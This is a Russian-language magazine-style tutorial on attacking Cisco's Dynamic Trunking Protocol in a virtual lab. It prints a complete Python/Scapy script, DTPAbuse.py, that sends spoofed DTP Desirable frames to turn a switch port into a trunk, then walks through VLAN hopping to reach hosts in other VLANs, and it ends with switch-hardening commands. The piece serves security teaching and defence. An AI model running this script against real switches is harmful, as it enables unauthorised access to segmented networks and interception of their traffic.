Хакер - Разруливаем DTP. Как взломать протокол DTP и совершить побег в другую сеть VLAN
hacker_frei
C0ldheim
Содержание статьи
- Как это работает
- Уязвимость
- Виртуальная лаборатория
- Кастомная эксплуатация уязвимости без использования Yersinia
- Эксплуатация
- Побег в другую сеть VLAN
- Защита
- Вывод
Протокол DTP был разработан инженерами Cisco Systems, чтобы облегчить жизнь ленивым сетевым инженерам. Но при халатном отношении к конфигурации этого протокола администраторы расплачиваются компрометацией своих сетей. В этой статье я продемонстрирую сценарий взлома протокола DTP и возможность побега в другую сеть VLAN.
WARNING
Статья имеет ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование в рамках контракта. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону.
Аббревиатура DTP расшифровывается как Dynamic Trunking Protocol. Этот протокол разработан инженерами Cisco Systems для реализации автоматической транкинговой системы. Какой порт будет транковым, а какой нет — c этим разбирается именно протокол DTP, а не сетевой инженер. DTP очень часто остается без должного внимания и в большинстве случаев использует конфигурацию по умолчанию. Этим мы с тобой и воспользуемся.
КАК ЭТО РАБОТАЕТ
DTP позволяет двум соседним портам коммутатора согласовывать решения о том, будут ли они магистральными каналами a.k.a транками. Такой метод применяется, чтобы сформировать магистральный канал, а сетевому администратору не приходилось настраивать вручную каждую сторону. Коммутационный порт, который находится на другом конце канала, может принять конфигурацию соседа и сформировать транк автоматически. Да, это позволяет сохранить время и силы, но не в таком уж и существенном количестве.

В протоколе DTP предусмотрено несколько режимов работы портов коммутатора для инициализации магистрального канала:
- Access Mode — режим постоянного бестранкового состояния. Порт всегда будет оставаться в бестранковом состоянии, несмотря на то что соседний порт не согласен с изменением;
- Trunk Mode — режим постоянного транкового состояния. Порт всегда будет оставаться в транковом состоянии, несмотря на то что соседний порт не согласен с изменением;
- Dynamic Auto — в этом режиме порт готов перейти в транковое состояние, если соседний порт будет в режиме Trunk или Dynamic Desirable. Важно упомянуть, что Dynamic Auto — это режим по умолчанию для всех портов коммутатора;
- Dynamic Desirable — в этом режиме порт всегда пытается перейти в транковое состояние. Порт приобретет режим Trunk, если соседний порт настроен в режимах Dynamic Auto, Dynamic Desirable или Trunk Mode;
- Nonegotiate — в этом режиме порт не участвует в процессах DTP. Он не будет ни отправлять кадры DTP, ни принимать их.

Чтобы не запутаться в этих терминах, я сделал таблицу комбинаций режимов DTP двух соседних портов. Посмотрев на данные в этой таблице, ты наверняка заметил, что если два соседних порта находятся в режиме Dynamic Auto, то они не смогут образовать магистральный канал и оба порта останутся в режиме Access. Другой пример: если первый порт будет в режиме Dynamic Auto, а второй порт в режиме Dynamic Desirable, то в конечном счете образуется магистральный канал или же транк.
Кадры DTP рассылаются через порты коммутатора каждые 30 секунд. И для их рассылки используется специальный мультикастовый адрес 01:00:0C:CC:CC:CC. Если порт был сконфигурирован динамически, то время его жизни — всего 300 секунд.

INFO
Мультикастовый адрес 01:00:0C:CC:CC:CC используется не только протоколом DTP, но и другими, например CDP, VTP, PAgP, UDLD. Чтобы протоколы могли отличаться друг от друга при отправке своих объявлений по одинаковому мультикастовому адресу, для них реализовано уникальное значение в заголовке SNAP на уровне LLC (Logical Link Control). Для DTP это значение эквивалентно 0x2004.
Уязвимость
Суть уязвимости заключается в том, что протокол DTP включен по умолчанию на всех современных коммутаторах Cisco. При этом каждый порт коммутатора настроен в режиме Dynamic Auto. То есть порт будет ожидать инициации транка со стороны соседа. Для успешного проведения атаки нам нужно физически подключиться к коммутатору и отправить специально подготовленный кадр DTP Desirable. Порт переключится в режим магистрального канала, и мы сможем получить доступ ко всем сетям VLAN.
ВИРТУАЛЬНАЯ ЛАБОРАТОРИЯ
В своей виртуальной лаборатории я использовал платформу виртуализации EVE-NG Community Edition. Целевыми устройствами будут эмулированный коммутатор и маршрутизатор Cisco (Cisco IOL), виртуальные VPC из EVE-NG. А в качестве машины атакующего выступит ОС Kali Linux 2021.4.
Сеть разбита на два сегмента: это VLAN 10 и VLAN 30. За маршрутизацию трафика между ними отвечает маршрутизатор R1. Также на маршрутизаторе R1 настроен DHCP-сервер для автоматической выдачи адресов устройствам.
На порте коммутатора E1/0 SW1 до маршрутизатора R1 сконфигурирован магистральный канал 802.1Q, который передает весь тегированный трафик сетей VLAN 10 и 30. Порты E0/1 и E0/2 настроены в режиме Access и принадлежат своим сетям VLAN.
Машина атакующего подключена к порту коммутатора E1/1. Порт настроен по умолчанию в режиме Dynamic Auto для демонстрации эксплуатации уязвимости.


КАСТОМНАЯ ЭКСПЛУАТАЦИЯ УЯЗВИМОСТИ БЕЗ ИСПОЛЬЗОВАНИЯ YERSINIA
В контексте проведения атаки я решил обойтись без популярного фреймворка Yersinia. Одно дело, когда ты просто нажимаешь на несколько кнопок, руководствуясь своим бэкграундом знаний, и производишь взлом, это что‑то из разряда «Just push the button and hack it». Совсем другое дело, когда ты сам собираешь свой инструмент по кусочкам. Я считаю, это даст более глубокое понимание процесса эксплуатации уязвимости, что очень важно.
Для эксплуатации этой уязвимости DTP я использовал связку Python и Scapy, написав свой собственный скрипт — DTPAbuse.py. Ниже я разберу весь программный код скрипта, чтобы ты понимал работу этой программы и процесс эксплуатации.
Итак, начнем.
from scapy.all import *
from scapy.contrib.dtp import *
import argparse
В этой части, я думаю, никаких вопросов возникнуть не должно. Мы подключаем библиотеку Scapy, модуль для работы с протоколом DTP и модуль argparse, чтобы сделать скрипт параметризованным. То есть скрипт будет принимать на вход введенный пользователем аргумент.
cisco_multicast = "01:00:0C:CC:CC:CC"
Создаем переменную cisco_multicast и передаем в нее адрес мультикастовой рассылки Cisco.
def get_arguments():
parser = argparse.ArgumentParser()
parser.add_argument("-i", dest="interface", type=str, required=True, help="Choose the interface to attack")
args = parser.parse_args()
return args
Функция get_arguments парсит введенные пользователем входящие аргументы и отправляет данные в переменную interface. В качестве входных данных скрипт будет принимать сетевой интерфейс для атаки.
def negotiate_trunk(interface=conf.iface, mymac=str(RandMAC())):
dtp_frame = Dot3(src=mymac, dst=cisco_multicast)
dtp_frame /= LLC(dsap=0xaa, ssap=0xaa, ctrl=3)/SNAP(OUI=0x0c, code = 0x2004)
dtp_frame /= DTP(tlvlist=[DTPDomain(),DTPStatus(),DTPType(),DTPNeighbor(neighbor=mymac)])
sendp(dtp_frame, iface=args.interface, inter=3, loop=1, verbose=1)
Функция negotiate_trunk принимает на вход сетевой интерфейс и MAC-адрес. MAC-адрес пусть будет рандомизированным.
Далее расположен код под функцией negotiate_trunk, который собирает кадр DTP Desirable.
dtp_frame = Dot3(src=mymac, dst=cisco_multicast)
В кадре Ethernet Dot3 я указываю MAC-адрес источника назначения. Адресом назначения будет служить адрес мультикастовой рассылки Cisco.
dtp_frame /= LLC(dsap=0xaa, ssap=0xaa, ctrl=3)/SNAP(OUI=0x0c, code = 0x2004)
Также понадобится добавить слои LLC и SNAP. Значением 0x2004 в заголовке SNAP укажем, что это DTP-кадр.
dtp_frame /= DTP(tlvlist=[DTPDomain(),DTPStatus(),DTPType(),DTPNeighbor(neighbor=mymac)])
Собираем кадр DTP, все параметры оставим по умолчанию, кроме DTPNeighbor. Переменной neighbor передадим MAC-адрес источника. Почему‑то в Scapy в дефолтном кадре DTP по умолчанию хранятся все необходимые значения, чтобы собрать именно кадр DTP Desirable. Я не знаю, с чем это связано, но это сыграет нам на руку: сэкономим время. Поэтому мы оставили параметры DTP по умолчанию (за исключением DTPNeighbor).

Теперь давай сосредоточимся на хранящихся там самых важных заголовках и не менее важных значениях:
DTPType = '\xa5'— значение заголовка, указывающее на использование инкапсуляции 802.1Q;DTPStatus = '\x03'— значение заголовка, указывающее на статус DTP-кадра. Это статусDesirable, то, что нам нужно для инициации транка.
sendp(dtp_frame, iface=args.interface, inter=3, loop=1, verbose=1)
Далее необходимо отправить собранный кадр. Поскольку мы знаем, что динамический транк продержится всего 300 секунд, зациклим отправку этого кадра с интервалом в 3 секунды.
args = get_arguments()
negotiate_trunk(args.interface)
Ну и последние части скрипта. Передаем вводимые пользователем аргументы в переменную args и вызываем функцию get_arguments(). Затем вызываем функцию negotiate_trunk, подав на вход введенный пользователем интерфейс.

Эксплуатация
Запускаем сетевой сниффер Wireshark и прослушиваем трафик на наличие кадров DTP.

Видим, что коммутатор воспроизводит рассылку кадров DTP на порт, к которому подключена машина с Kali Linux. Исходя из информации, хранящейся в заголовках DTP, мы можем смело заявить, что порт коммутатора настроен в режиме Dynamic Auto.

Теперь запускаем наш скрипт DTPAbuse.py.


На скриншоте выше мы видим, что скрипт генерирует необходимый нам кадр DTP Desirable. Если теперь мы войдем в панель управления коммутатора SW1, то увидим следующее.

Порт коммутатора, к которому подключена машина атакующего, переключился в режим магистрального канала. Теперь мы можем прослушивать трафик всех сетей VLAN.

Побег в другую сеть VLAN
Теперь у нас есть возможность «прыгнуть» в другую VLAN-сеть, так как порт коммутатора, к которому мы подключены, находится в режиме магистрального канала. Для этого нужно создать виртуальный интерфейс VLAN на нашем сетевом адаптере, назначить VLAN ID и IP-адрес.
INFO
Эта атака носит альтернативное название VLAN Hopping.
Но откуда нам взять VLAN ID? Поскольку мы в состоянии прослушивать трафик всех сетей VLAN, мы можем изучить кадры STP и извлечь оттуда информацию о идентификаторе VLAN. Например, в нашем случае мы увидим, что коммутатор SW1 — это корневой коммутатор для сетей VLAN 10 и VLAN 30.


Создадим виртуальные интерфейсы VLAN и назначим тег VLAN ID.

Теперь поднимем их и запросим адрес по DHCP.


Теперь мы можем взаимодействовать с хостами, находящимися в сетях VLAN 10 и 30. Для наглядности отправлю запросы ICMP к машинам Workstation и Fileshare Server.

ЗАЩИТА
Чтобы защитить коммутаторы в сети от этой атаки на протокол DTP, необходимо перевести в режим доступа все порты, куда подключаются рабочие станции, и выключить протокол DTP на портах. Весьма легкая задача, согласись? Приведу пример настройки на порту коммутатора, куда была подключена машина атакующего.
Сначала переведем порт в режим доступа командой switchport mode access, а затем отключим DTP на порте командой switchport nonegotiate:
SW1(config)#interface ethernet 1/1
SW1(config-if)#switchport mode access
SW1(config-if)#switchport nonegotiate
Теперь эта атака неосуществима, так как порты больше не реагируют на несанкционированные кадры DTP.
ВЫВОД
В этой статье я разобрал сценарий взлома протокола DTP и компрометации сетей VLAN. Лично я считаю, что использование DTP в рамках продакшена — это явный пример некачественного дизайна сети, ибо магистральные каналы a.k.a транки должны быть там и только там, где это запланировано. Конечно, сетевой администратор сэкономит какое‑то время на настройке магистральных каналов с использованием DTP, но это не стоит того, чтобы пользоваться столь небезопасным решением в сети. И очень жаль, что конфигурацию этого протокола достаточно часто оставляют без должного внимания. Но теперь ты знаешь, что делать!
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei